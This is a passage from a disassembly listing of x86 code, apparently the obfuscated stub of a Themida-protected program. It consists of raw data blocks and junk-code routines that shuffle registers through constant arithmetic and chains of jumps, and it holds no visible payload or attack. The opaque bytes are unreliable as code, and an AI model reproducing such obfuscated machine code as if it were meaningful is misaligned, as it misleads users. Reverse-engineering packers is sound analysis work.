		dd 0C4832434h, 3E1E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_544FDA:				; CODE XREF: Themida_:00544C39j
		and	ebp, eax
		pop	eax
		jmp	loc_549427
; ---------------------------------------------------------------------------
		dw 0A804h
		dd 241C8B66h, 0E9E18951h, 123Eh, 404DDCBDh, 246C2906h
		dd 6C015D08h, 0EC810424h, 4, 0E9241489h, 0AA2Eh, 525AF030h
		dd 81E38953h, 4C3h, 4EB8100h, 0E9000000h, 23C4h, 81C6015Ah
		dd 15723FEEh, 8BC68159h, 811C5D61h, 2D7CD8C6h, 67C68129h
		dd 6836EA07h, 28FBh, 0E9240C89h, 0D10h,	8037DA35h, 6F87252Dh
		dd 123572DDh, 89337656h, 0C28158C2h, 4DEE0E20h,	0A07DE952h
		dd 0C4830000h, 6DE95204h, 89000039h, 79B82404h,	0E91C586Ch
		dd 800Eh, 5E5DEF01h, 8B243C87h,	0C4832424h, 2434FF04h
		dd 0E7895758h, 4C781h, 89E90000h, 0C100006Dh, 0F28107EAh
		dd 61C90B27h, 89D38953h, 56E95BD9h, 89000046h, 0C5015EF0h
		dd 5124048Bh, 0C181E189h, 4, 4C181h, 0D5E90000h, 80000002h
		dd 0E180FFE9h, 73E9805Eh, 6859C830h, 0BBBh, 89242C89h
		dd 81E952E5h
		db 52h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5450EB:				; CODE XREF: Themida_:00544901j
		mov	ecx, [esp]
		add	esp, 4
		add	esp, 4
		and	eax, edx
		mov	edx, [esp]
		add	esp, 4
		or	eax, eax
		jz	loc_54ABAF
		push	dword ptr [edi+1Ch]
		push	ebp
		push	esi
		jmp	loc_54D0C8
; ---------------------------------------------------------------------------


loc_545111:				; CODE XREF: Themida_:00544CBDj
		and	ebp, 15012BE8h
		jmp	loc_54F3DB
; ---------------------------------------------------------------------------
		dd 6C66D805h, 0E8835F1Fh, 24048704h, 2414895Ch,	20000BAh
		dd 0FFD02100h, 37E92434h, 3100008Dh, 2ABE56C3h,	0E94C466Eh
		dd 3378h
; ---------------------------------------------------------------------------


loc_545148:				; CODE XREF: Themida_:0054D5E6j
		push	3BFDh
		mov	[esp], edx
		jmp	loc_54D645
; ---------------------------------------------------------------------------
		db 5Fh,	0E9h, 86h
		dd 89000001h, 4C781E7h,	68000000h, 6400h, 0BE243489h, 2
		dd 3A11BE56h, 0F7295CD1h, 0A8B9515Eh, 1220B7Ah,	0F70159CFh
		dd 7AA8EF81h, 0C781220Bh, 5CD13A11h, 4EC835Eh, 0FF243C89h
		dd 8B042474h, 0C481243Ch, 4, 0E924048Fh, 0A54Ch, 5D1368h
		dd 24148900h, 0FFEFF0E9h, 77BF57FFh, 8178C623h,	0FFFFFFC7h
		dd 1911E9FFh, 29660000h, 665D66E9h, 66455205h, 9668C801h
		dd 89000079h, 0B966240Ch, 81666B1Dh, 662BCDE9h,	0E9816649h
		dd 416673CFh, 0E9D1F766h, 5775h, 15EA814Ah, 0E91CFF52h
		dd 2E25h, 4F05CB81h, 0AFE961C7h
		db 28h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54520F:				; CODE XREF: Themida_:005468E3j
		jz	loc_54D5DA
		push	eax
		jmp	loc_5466C4
; ---------------------------------------------------------------------------
		db 50h
		dd 0A71AE9h, 0E9E08900h, 95E2h,	4C181h,	0BD550000h, 4
		dd 26E6E9h, 0C2814A00h,	0B5CF0944h, 535AD589h, 0A53BC0BBh
		dd 0E9DD2911h, 9F02h, 34FFF001h, 0C4835E24h, 2BE5604h
		dd 1000000h, 24348BF0h,	4C481h,	4870000h, 24248B24h, 1B32E9h
		dd 243C8700h, 4C6835Ch,	31243433h, 34332434h, 34FF5C24h
		dd 24048B24h, 81E18951h, 4C1h, 4C18100h, 0E9000000h, 8FDFh
		dd 3B44E981h, 3C8B47E2h, 4C48324h, 31240C33h, 0C33240Ch
		dd 24248B24h, 4CC8E9h, 24348B00h, 5004C483h, 0C189F089h
		dd 24348B58h, 1E7A6853h, 24890000h, 24048124h, 4, 0FFF7E0E9h
		dd 4BA52FFh, 0E9000000h, 83ACh,	24048B66h, 3E5568h, 24148900h
		dd 411E954h, 0BA520000h, 3E993229h, 242C8152h, 1AEF0599h
		dd 4FE95158h, 1000022h,	2C8758C5h, 24248B24h, 240C8B66h
		dd 1BB6E9h, 24473100h, 0E9244733h, 2B8Ah, 0C381E389h, 4
		dd 4BE56h, 10E90000h, 0C100004Eh, 0F18108E1h, 959AE33Bh
		dd 0F759CF89h
dword_545350	dd 0C1BE56DFh, 0E9B418D6h, 9940h, 330D582Dh, 58C531A1h
					; DATA XREF: ___:off_43D364o
		dd 15DEF89h, 0E8835FF8h, 24048704h, 0E924248Bh,	9C14h
		dd 0D1C2095Ch, 0B95155E2h, 7C805EC1h, 8102E9C1h, 0E6395DE1h
		dd 0A6F1813Bh, 8163822Bh, 2B0DA8F1h, 1FF18159h,	0E9218937h
		dd 5133h, 0E9240C87h, 0A5B2h, 53FD8851h, 0FA88EF88h, 0B3E9595Bh
		dd 81000021h, 0ED5BFAEAh, 0E9C2010Bh, 6AA5h, 5FFD8966h
		dd 0A12BE9h, 24048B00h,	95268h,	24048900h, 8904EC83h, 4832424h
		dd 5580424h, 4,	8704C083h, 248B2404h, 4EC8324h,	89240C89h
		dd 0ADCCE9E1h, 0F1890000h, 8324348Bh, 895204C4h, 5AD589CAh
		dd 0E9E83159h, 1553h, 94BD554Ah, 816EF855h, 44798DF5h
		dd 47B9E95Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54542A:				; CODE XREF: Themida_:0054F633j
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		shr	eax, 12h
		jmp	loc_548F2B
; ---------------------------------------------------------------------------
		dw 66E9h
		dd 0C1FFFFEDh, 0D5F705EDh, 189C6845h, 3C890000h, 0F5A1BF24h
		dd 0FD29C9CDh, 7AE9565Fh, 5A0000A8h, 2474FF55h,	48F5D04h
		dd 89665C24h, 36E9240Ch, 29FFFFEDh, 91E981D9h, 5B08C502h
		dd 591C4F09h, 170DE9h, 0A4B25200h, 0C2FECAFEh, 8CADE9h
		dd 6EE95500h, 5A0000A4h, 0FFFA1EE9h, 14E95AFFh,	4000028h
		dd 1ECCE98Eh, 835A0000h, 0ED8104C4h, 2,	5C242C87h, 240C8966h
		dd 6603B652h, 0E9C3B551h, 9437h
; ---------------------------------------------------------------------------


loc_5454C8:				; CODE XREF: Themida_:0054B111j
		push	1E76h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edi
		push	edx
		mov	edx, 669C2ECAh
		and	edx, 1F3D0DECh
		sub	edx, 68025576h
		add	edx, 4E120E89h
		jmp	loc_54AAA8
; ---------------------------------------------------------------------------


loc_5454F5:				; CODE XREF: Themida_:0054C86Fj
		add	esp, 4
		mov	edx, ecx
		jmp	loc_5448FE
; ---------------------------------------------------------------------------
		dw 0E95Dh
		dd 10B6h, 240C8B66h, 0E9E08950h, 0FFFFF55Fh, 0E952D1F7h
		dd 5C6Bh, 24048F5Fh, 1F6EE9h, 4C48100h,	51000000h, 0B5468h
		dd 24248900h, 4240483h,	4C18159h, 68000000h, 5C6Ch, 68240489h
		dd 73DB55B0h, 1E88358h,	5876BD55h, 0E83160F0h, 35E9405Dh
		dd 52000049h, 4BAh, 5AD78900h, 5F1C3D05h, 2DF8015Bh, 5B5F1C3Dh
		dd 2C0835Fh, 3D3AE950h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54557E:				; CODE XREF: Themida_:00546A20j
		mov	[esp], ecx
		jmp	loc_54C3C9
; ---------------------------------------------------------------------------
		dw 3C89h
		dd 2474FF24h, 48F5F04h,	4215C24h, 0EE99C24h, 0F7FFFFECh
		dd 0F7B850DAh, 314D8354h, 3D46E9C2h, 0E9560000h, 47B1h
		dd 7B22B82Dh, 0E7B95131h, 108975Fh, 0A77E9C8h, 0E9520000h
		dd 4245h, 815AD331h, 0E436F9F3h, 0E9DE8939h, 0A324h, 213BE9ACh
		dd 0E9AD0000h, 4E23h, 7504F028h, 24148B66h, 2C02C483h
		dd 4F02823h, 5A2F0423h,	3BF8E9h, 24048F00h, 4240483h, 4B8505Bh
		dd 1000000h, 24048BC3h,	16B7E9h, 0F9686600h, 313BE959h
		dd 0ADBA0000h, 0F713050Ah, 29EA81D2h, 4A6FC008h, 210E68h
		dd 24348900h, 6D18BA52h, 0C5BE5295h, 297573ACh,	24148BD6h
		dd 378CE9h, 6CE95100h, 50000075h, 2BA52h, 87680000h, 89000027h
		dd 5A582414h, 3358C501h, 2C31242Ch, 242C3324h, 6624248Bh
		dd 66C8AF0Fh, 0A4E99C51h, 510000ABh, 2B9h, 0B5BA5200h
		dd 81505633h, 742224CAh, 0EFEA815Bh, 1E93DBEh, 82E95AD7h
		dd 0FFFFF0h, 29E951D0h
		db 9Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5456A3:				; CODE XREF: Themida_:0054A78Ej
		add	ebx, 6C38168Ah
		and	ebx, 65741161h
		push	edx
		mov	edx, 2EE63226h
		or	edx, 33F62690h
		shr	edx, 3
		sub	edx, 1
		neg	edx
		add	edx, 4B7222F2h
		sub	edx, 0BCEE620Dh
		sub	ebx, edx
		pop	edx
		mov	edx, ebx
		pop	ebx
		not	edx
		shl	edx, 5
		sub	edx, 1
		sub	edx, 0C87D39DFh
		and	eax, edx
		jmp	loc_54A3F6
; ---------------------------------------------------------------------------


loc_5456F0:				; CODE XREF: Themida_:00544F2Fj
		mov	esi, [esp]
		jmp	loc_54E7B2
; ---------------------------------------------------------------------------
		dd 0FFEAACE9h, 83E789FFh, 148904ECh, 72C8BA24h,	0FFE96EBEh
		dd 5A00003Dh, 0FEE95251h, 1000074h, 39B2E9D0h, 0B3530000h
		dd 74B2E994h, 0BD550000h, 577F021Eh, 270AED81h,	0D5F7124Fh
		dd 81D5F745h, 5695B1EDh, 5DE829CBh, 82E9535Bh, 68000076h
		dd 0FF0814CBh, 58C10158h, 271D692Dh, 51C8290Ch,	0FFF206E9h
		dd 11E958FFh, 74h, 0B1515AD0h, 0F0C180BDh, 0F606E9C0h
		dd 10C1E9D9h, 895C0000h, 0B82404h, 68000008h, 1188h, 13EFE9h
		dd 241C3300h, 0F24248Bh
		db 0C8h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_544E16
; ---------------------------------------------------------------------------
		db 53h,	0BBh, 0B7h
		dd 0E9060F54h, 6FC5h, 0EC47E956h, 0C8BFFFFh, 4C48324h
		dd 66E9692Ch, 80FFFFF5h, 0D830D0C3h, 5B2434FFh,	480E9h
		dd 0C4835800h, 8E8CE904h, 0C8B0000h, 4C48324h, 0E4268h
		dd 24148900h, 0E9E68956h, 943Dh, 56FE68h, 241C8900h, 0CBE9AEB7h
		dd 8100001Ah, 1B6944E2h, 0BB534270h, 3E9C03DFh,	305CE381h
		dd 3CE965E8h, 0BF00007Fh, 70F91096h, 3C8BFD21h,	8ACE924h
		dd 0EC830000h, 243C8904h, 4BFh,	0CEE8100h, 8118B95Eh, 0BF4EC6EEh
		dd 0E9FE0154h, 42D6h, 5C240C87h, 8B24048Fh, 8EE92424h
		dd 53000019h, 26082BBBh, 7612E913h, 0FF520000h,	8B042474h
		dd 0C4832414h, 24048F04h, 6624248Bh, 68240C8Bh,	0DC3h
		dd 54243C89h, 9DE9515Fh, 5900009Eh, 0E9240433h,	0FFFFEF0Ah
		dd 8B240C33h, 8B662424h, 0EC832404h, 24148904h,	679668h
		dd 24248900h, 4240483h,	5224148Bh, 0EBE9E289h, 0AC000004h
		dd 2EC81h, 89660000h, 0EBB1240Ch, 8B66C800h, 0C483240Ch
		dd 28A50402h, 52A52CD8h, 6C1C68h, 24048900h, 0A3B681B4h
		dd 808AC680h, 0C6FEF3C6h, 30D0F680h, 0B35358E6h, 9DE9E93Ah
		dd 48F0000h, 54FDE924h,	5A580000h, 606EE9h, 6E9C100h, 2434FF53h
		dd 9A6E9h, 0F2805900h, 0FE14E9EBh, 2C8BFFFFh
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_54C9EB
; ---------------------------------------------------------------------------
		dw 815Ch
		dd 0BB3C89EFh, 9EEF8117h, 31F11202h, 0CB895FF9h, 592434FFh
		dd 6804C483h, 5467h, 56240489h,	408EE9h, 58C12900h, 6DA1E9h
		dd 4C48100h, 87000000h,	89E9241Ch
		db 66h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54595F:				; CODE XREF: Themida_:0054DF96j
		mov	ecx, edi
		pop	edi
		inc	ecx
		push	edx
		push	esi
		push	ebp
		mov	ebp, 49935E9Bh
		mov	esi, ebp
		pop	ebp
		or	esi, 64B15385h
		xor	esi, 45322187h
		mov	edx, esi
		jmp	loc_54C869
; ---------------------------------------------------------------------------
		db 53h,	68h, 18h
		dd 8B7C2E65h, 0C483241Ch, 4EC8304h, 0E9240489h,	2F40h
		dd 52C8C281h, 0E95D7A6Eh, 4C3Ch, 0FC68D231h, 89000013h
		dd 0AE9242Ch, 0C100003Dh, 0F68105EEh, 0F4D2A42h, 0CC51EE81h
		dd 0F7890A2Ah, 5FFA015Eh, 0FFE84DE9h, 0FF535AFFh, 5B042474h
		dd 5C24048Fh, 0E9535153h, 7033h, 8124048Bh, 4C4h, 7E0C100h
		dd 0FB157435h, 58C3892Eh, 8533E9h, 51F30000h, 0EB0069B5h
		dd 81240C8Bh, 4C4h, 0D8005A00h,	0E99F2C5Bh, 5388h, 4BEh
		dd 264FE900h, 0D3310000h, 0FFEAA9E9h, 815758FFh, 4ECh
		dd 24248900h, 416468h, 243C8900h, 4BFh,	247C0100h, 0B8E95F04h
		db 7Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_545A47:				; CODE XREF: Themida_:0054E3FEj
		mov	edi, 4F5B5358h
		neg	edi
		neg	edi
		not	edi
		jmp	loc_545B16
; ---------------------------------------------------------------------------
		db 66h
		dd 5724048Bh, 7627E9h, 53D80100h, 96146FBBh, 5BD82907h
		dd 690BF57h, 0C3053FA7h, 560526Ah, 434D2C47h, 5E262105h
		dd 2DF8012Dh, 2D5E2621h, 9B0EE9h, 57BD00h, 0B8E906DCh
		dd 300003Fh, 241C8B03h,	4C481h,	54550000h, 56242C8Bh, 0BF57E689h
		dd 4, 27E9FE01h
		db 17h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_545AB7:				; CODE XREF: Themida_:0054674Cj
		neg	edi
		not	edi
		push	ebx
		mov	ebx, 1CF47EFEh
		sub	edi, 2F090A00h
		sub	edi, ebx
		add	edi, 2F090A00h
		pop	ebx
		push	edi
		sub	dword ptr [esp], 31C2435Bh
		pop	ebx
		add	ebx, 31C2435Bh
		jmp	loc_54F1DB
; ---------------------------------------------------------------------------


loc_545AE4:				; CODE XREF: Themida_:0054D70Aj
		mov	[esp], ecx
		push	edx
		push	ecx
		mov	cl, al
		mov	dh, cl
		pop	ecx
		jmp	loc_54DCD9
; ---------------------------------------------------------------------------
		db 58h
		dd 910DD8F7h, 0E930F54Ch, 23E1h, 0CEF5F681h, 0F08921F3h
		dd 0B1BA525Eh, 946A169h, 6AB9E9D0h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_545B16:				; CODE XREF: Themida_:00545A52j
		add	edi, 75BD8FACh
		neg	edi
		jmp	loc_54AFB8
; ---------------------------------------------------------------------------
		db 68h
		dd 1E5Fh, 0BD242C89h, 4, 835DEF01h, 25E904ECh, 83000085h
		dd 21E904C4h, 0FFFFFF2h, 8951C0B7h, 1705E9E1h, 0BA520000h
		dd 2BD20154h, 2414F752h, 8C79E95Ah, 56510000h, 47480568h
		dd 3E95E1Eh, 8900007Ch,	0D68956C2h, 9CA3E953h, 0BC680000h
		dd 0FF041C41h, 815E2434h, 4C4h,	24448100h, 0EB08FD04h
		dd 2474010Bh, 246C8104h, 0EB08FD04h, 24348B0Bh,	4C481h
		dd 0C8B0000h, 4C48324h,	3CAE68h, 241C8900h, 8821E9h
		db 0
; ---------------------------------------------------------------------------


loc_545BB5:				; CODE XREF: Themida_:005442D3j
		xchg	ebp, [esp]
		pop	edi
		neg	edi
		inc	edi
		add	edi, 0AC49106Eh
		xor	esi, edi
		jmp	loc_547432
; ---------------------------------------------------------------------------
a0Huo		db '0huo',0
		align 10h
		dd 0B6241489h, 98D0E94Eh, 815A0000h, 7FFE04C6h,	0BBA528Ah
		dd 817AE21Ch, 0F84393CAh, 98B85069h, 4009AA38h,	8F2BE9h
		db 0
; ---------------------------------------------------------------------------


loc_545BF9:				; CODE XREF: Themida_:0054BF09j
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	56C1h
		mov	[esp], edx
		push	2F6Fh
		mov	[esp], edi
		mov	edi, eax
		push	0B1Ch
		mov	[esp], eax
		mov	eax, edi
		mov	edx, eax
		jmp	loc_54E154
; ---------------------------------------------------------------------------
		dw 1C89h
aSF		db '$*f',0
		align 2
		dw 0FF53h
		dd 8B042474h, 0C483241Ch, 24048F04h, 6824248Bh,	71FEh
		dd 800CE9h, 0E5E95500h,	66000045h, 83240C8Bh, 48904ECh
		dd 5E08924h, 4,	42Dh, 5AF2E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_545C66:				; CODE XREF: Themida_:00545DD3j
		add	ebx, edi
		push	ecx
		mov	ecx, 0
		add	ecx, ebx
		add	[ecx], eax
		pop	ecx
		pop	ebx
		jmp	loc_54ABAE
; ---------------------------------------------------------------------------
		db 0FFh, 77h, 1Ch
		dd 6658669Dh, 9C240411h, 0FFE520E9h, 24048BFFh,	9304C483h
		dd 2BE9D3F7h, 8100009Eh, 0BB0184F2h, 627DE904h,	4BF0000h
		dd 0E9000000h, 933Dh, 1CE95A5Ch, 83000060h, 0C8904ECh
		dd 5AC9E924h, 0F0010000h, 3A33E9h, 4C48100h, 0E9000000h
		dd 0FFFFFE53h, 2A240481h, 0FF5D2A77h, 83582434h, 895104C4h
		dd 6ABD55E1h, 455EB772h, 726FF581h, 0E9015EB7h,	4E9835Dh
		dd 5C240C87h, 6719E9h
		db 0
; ---------------------------------------------------------------------------


loc_545CFD:				; CODE XREF: Themida_:00547B5Dj
		pop	ecx
		add	ebp, edx
		sub	ebp, 709A4756h
		jmp	loc_54ADD8
; ---------------------------------------------------------------------------
		align 4
aSS_4		db '"',0
		align 2
		dw 2D48h
		dd 5E4560DAh, 0FC53730Dh, 0A62BE97Ah, 8F5D0000h, 0EEE92404h
		dd 0B300005Ah, 5BDA3096h, 28ABC280h, 0D3F65AD3h, 0A390E9h
		dd 4F38100h, 81581428h,	256A2DC6h, 81DE0106h, 256A2DEEh
		dd 241C8B06h, 0E9E08950h, 0A266h, 8B0DE955h, 0B9510000h
		dd 1117931h, 1B6BBF57h,	0DFF74C5Ah, 2B7DE9h, 4C38100h
		dd 81000000h, 4ECh, 24348900h, 0C7219C68h, 0E6C15E4Ch
		dd 262E908h, 0BD550000h, 4, 815DEA01h, 4C2h, 24148700h
		dd 4BE565Ch, 1000000h, 3B86E9F2h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_545DB2:				; CODE XREF: Themida_:0054A623j
		shl	edx, 7
		push	esi
		mov	esi, 4E767F1Eh
		xor	esi, 0C28479D5h
		xor	edx, esi
		pop	esi
		mov	ecx, edx
		pop	edx
		and	ebx, ecx
		pop	ecx
		shr	ebx, 2
		xor	ebx, 8814h
		jmp	loc_545C66
; ---------------------------------------------------------------------------
		dd 240C8B66h, 39C968h, 243C8900h, 8B1E9h, 4BF00h, 0F9010000h
		dd 240C875Fh, 0E5C3815Ch, 0E9720065h, 8E95h, 0EB80DBF6h
		dd 66D800EDh, 83241C8Bh, 5B6602C4h, 7109E9h, 0F7815900h
		dd 6575362Ah, 1717C781h, 0FA019FF6h, 0BA52575Fh, 2, 9E9D789h
		dd 81000047h, 22682404h, 481014Bh, 0BE145D24h, 24040109h
		dd 5D242C81h, 8109BE14h, 2268242Ch, 5057014Bh, 84EBF57h
		dd 0F8891680h, 621E255Fh, 0D0F72807h, 752D4040h, 8197879Ah
		dd 4ECh, 0EA39E900h, 0CEFEFFFFh, 0E958C680h, 3AE7h, 33242C31h
		dd 0EEE9242Ch, 8900007Dh, 0E2892414h, 4C281h, 0B8500000h
		dd 2, 0CE9C229h, 66000047h, 200ECA81h, 4AA5E9h,	4DC28000h
		dd 85DFE9h, 24248B00h, 24048B66h, 88D2E952h, 0EA810000h
		dd 7B4A630Ch, 86E9C201h, 810000A5h, 0C506F3EFh,	0D4C78111h
		dd 2928E306h, 0BA525DEFh, 152C0F26h, 4788F281h,	81425827h
		dd 4B0F47C2h, 5D90050Eh, 56E9206Ch, 0B8000008h,	1D5457D4h
		dd 1C05D8F7h, 2920EE30h, 0C80158C1h, 0E9240C8Bh, 0A3FEh
		dd 4C581h, 0ADE90000h, 0FF00007Ah, 0C8B2434h, 5F545724h
		dd 4C781h, 0E9560000h, 0FFFFFAE0h, 7F8BE9ACh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_545F3A:				; CODE XREF: Themida_:00544F13j
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		shr	eax, 10h
		xor	eax, ecx
		jmp	loc_54DBD0
; ---------------------------------------------------------------------------
		db 89h
		dd 4C781E7h, 83000000h,	3C8704C7h, 0D8285C24h, 0ADB15153h
		dd 8059CF88h, 0D7F686CFh, 28CEC780h, 0B5515BF8h, 80D5F636h
		dd 0ED8003C5h, 11F5807Eh, 459E800h
		db 61h,	2Ch, 2Bh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_547483
; ---------------------------------------------------------------------------
		dw 0D901h
		dd 7582E9h, 242C3300h, 0FFFEC7E9h, 5DC381FFh, 81215138h
		dd 0E43577EBh, 0E9FB011Dh, 9CF0h, 8179B725h, 1206354Ah
		dd 6EE95C0Eh, 9FFFFF9h,	0E9E2D1C2h, 26D8h, 2B8h, 0F325E900h
		dd 0E957FFFFh, 310Eh, 0FFFFEE81h, 0EE81FFFFh, 1, 2542CE81h
		dd 0C6814FB5h, 304A42C0h, 875EF301h, 0E95C241Ch, 7E50h
		dd 0C069E680h, 0EE8003E6h, 0DFB18Fh, 0F12C5AF1h, 0C800BA04h
		dd 8073B353h, 0CBFE96CBh, 0A40AE9h, 1AE95900h
		db 13h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54603F:				; CODE XREF: Themida_:00546BF1j
					; Themida_:loc_54835Ej	...
		push	764Fh
		mov	[esp], edx
		push	24h
		jmp	loc_546C21
; ---------------------------------------------------------------------------


loc_546051:				; CODE XREF: Themida_:0054D2CBj
		mov	edx, esp
		add	edx, 4
		push	eax
		jmp	loc_54CB0C
; ---------------------------------------------------------------------------
		db 68h
		dd 0A38h, 54240489h, 40558h, 0EC830000h, 241C8904h, 0C87603BBh
		dd 2EBC14Eh, 820E9h, 240C8700h,	7FC6E9h, 50DAF700h, 1DC4E9h
		dd 24048B00h, 9DBE9h, 24348900h, 4A5A5E52h, 8302E9h, 0AE95500h
		dd 52000085h, 0F6809AB6h, 8BF50047h, 4CE92414h,	680000A0h
		dd 29DE7DCAh, 0F27DE959h, 0C481FFFFh, 4, 0C581DDF7h, 919176A7h
		dd 895DEF31h, 47095FF8h, 8951581Ch, 483BE9E1h, 74FF0000h
		dd 8F590424h, 248B2404h, 3CD36624h, 0AEE99C24h,	0D0FFFFE0h
		dd 122EE9E4h, 0C6800000h, 2434FFFEh, 6D4EE95Bh,	0C7810000h
		dd 0C900012Eh, 14E9FB89h, 2900008Eh, 5F04247Ch,	90DDE9h
		dd 243C3300h, 0D324248Bh, 0E99C242Ch, 3A91h, 4BA5257h
		dd 0E9000000h, 34DAh, 5DE90966h, 5E1C166h, 0BD665566h
		dd 77E9F937h
		db 0F0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_546153:				; CODE XREF: Themida_:0054C0A1j
		mov	[esp], ebp
		push	0E663889Ah
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_546BCF
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 5A2434FFh, 4C481h, 0BA680000h, 89000028h, 7BE92414h
		dd 81000078h, 0D0788DEEh, 80F68157h, 150A659h, 24348BF2h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_54EBBD
; ---------------------------------------------------------------------------
		dd 52F7BD55h, 0EE890C3Bh, 2474315Dh, 34FF5E04h,	0C4835824h
		dd 84E95304h, 4900008Eh, 0A2E4E9h
		db 0
; ---------------------------------------------------------------------------


loc_5461BD:				; CODE XREF: Themida_:00546A2Ej
		inc	ecx
		add	ecx, 38AF75CAh
		shr	ecx, 2
		shl	ecx, 6
		add	ecx, 7C620F9h
		xor	ecx, 0F7C567E3h
		sub	eax, 76FC4E7Bh
		add	eax, ecx
		add	eax, 76FC4E7Bh
		mov	ecx, [esp]
		add	esp, 4
		sub	eax, 736C40D4h
		add	eax, 62FA2092h
		sub	eax, edx
		sub	eax, 62FA2092h
		add	eax, 736C40D4h
		push	ecx
		mov	ecx, 4D147C9Ah
		sub	eax, ecx
		pop	ecx
		mov	edx, [esp]
		add	esp, 4
		xor	ebx, eax
		push	small word ptr [eax]
		jmp	loc_5441A9
; ---------------------------------------------------------------------------


loc_54621D:				; CODE XREF: Themida_:0054B6F5j
		sub	dl, 0B5h
		jmp	loc_54CAD5
; ---------------------------------------------------------------------------
		db 8Bh,	0Ch, 24h
		dd 0E172E957h, 0C181FFFFh, 4, 2C181h, 0C870000h, 0EB805C24h
		dd 45C380BFh, 0EB80C328h, 1BB25245h, 357E9h, 0F596600h
		dd 8B66C0B6h, 6CE92414h, 89000082h, 0DBE92404h,	2DFFFFE1h
		dd 3EECDC67h, 48BC701h,	4C48324h, 4C781h, 0DEE90000h, 500008Ch
		dd 4, 405h, 24043300h, 33240431h, 248B2404h, 0FEE95724h
		dd 8B000093h, 4282424h,	2E99C24h, 0FFFFFFDFh, 34FF2434h
		dd 0C4835824h, 4C48304h, 5660E952h, 0E9570000h,	0A125h
		dd 24048F59h, 0FD95E95Ch, 0BA52FFFFh, 7E305F20h, 815AD101h
		dd 4D0D57E1h, 5FBE567Bh, 8111776Dh, 0CD2F31E6h,	19C68164h
		dd 31329810h, 0CE95EF1h
		db 89h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5462F3:				; CODE XREF: Themida_:0054E17Ej
		jmp	loc_5441A9
; ---------------------------------------------------------------------------


loc_5462F8:				; CODE XREF: Themida_:005441DEj
		sub	edi, ecx
		jmp	loc_54C4F1
; ---------------------------------------------------------------------------
		db 80h
		dd 0E1C0C0F1h, 0A0E3E904h, 2DAD0000h, 63B44828h, 731E342Dh
		dd 0BCBE564Ch, 290FF31Ch, 72E95EF0h
		db 25h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_546323:				; CODE XREF: Themida_:0054B5C4j
		xor	cl, 0Ch
		push	dx
		jmp	loc_54976A
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 5F000000h, 4EC81h, 4890000h,	57585424h, 0FFDEC8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_546345:				; CODE XREF: Themida_:0054FD19j
		push	edx
		push	eax
		jmp	loc_54DA51
; ---------------------------------------------------------------------------
		dd 5650E389h, 816D1EBEh, 9100E93Eh, 0E6890000h,	4C681h
		dd 0C6830000h, 24348704h, 0EE88525Ch, 88F58851h, 5A59872Ch
		dd 0DE2FE959h, 0C381FFFFh, 479A800Ah, 815BDA01h, 0B60DD1C7h
		dd 81D70133h, 0B60DD1EFh, 0B9515A33h, 4FEC5F34h, 0C981D1F7h
		dd 2E376CCAh, 6DF1E941h, 38250000h, 541882Bh, 62F82E6Eh
		dd 158C501h, 0A059E9CDh, 34FF0000h, 240C8B24h, 26A7E953h
		dd 55560000h, 3F61B7BDh, 36C5816Ch, 0E9169E48h,	8500h
		dd 8043B551h, 7BE952F5h, 21000088h, 0BF575EF5h,	4B1B2C47h
		dd 7C78E9h, 242C8700h, 0FFDDB0E9h, 241C87FFh, 0E184E95Ch
		dd 0C481FFFFh, 4, 0FC68C601h, 89000047h, 9AE9240Ch, 0E900006Ah
		dd 0FFFFDD8Dh, 0C6688AB8h, 556E2D0Fh, 2D407171h, 4FAC1C4Bh
		dd 4EADE950h, 74010000h, 34FF0424h, 24348B24h, 1B9CE9h
		dd 0DD63E900h, 815DFFFFh, 9631F7F5h, 0E9555E2Ah, 0FFFFEB9Ch
		dd 55243C89h, 864B1BBDh, 0DACD8101h, 810CC979h,	8511FFE5h
		dd 6E5C105h, 290EB850h,	0CC3522F4h, 21580C2Bh, 22E9C5h
		dd 8B5E0000h, 0C4812434h, 4, 5103EFC1h,	2A99BF57h, 0F9896B7Dh
		dd 36C9815Fh, 0E95F7C35h, 41EDh, 1CB85058h, 0E9017310h
		dd 0FFFFEEB0h, 520368h,	241C8900h, 7D49E9h, 4C38100h, 87000000h
		dd 0E95C241Ch, 3557h, 4C381h, 26E90000h, 81FFFFFFh, 4C4h
		dd 48B8E900h, 0CE010000h, 24343359h, 33243431h,	0D4E92434h
		dd 28000058h, 240C8BE8h, 2804C483h, 4BB652C8h, 0F680D6F6h
		dd 80C6FEB3h, 0CEFE85CEh, 0F7F680h, 96E95AF0h, 2900004Bh
		dd 2434FFC5h
		db 58h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_546C06
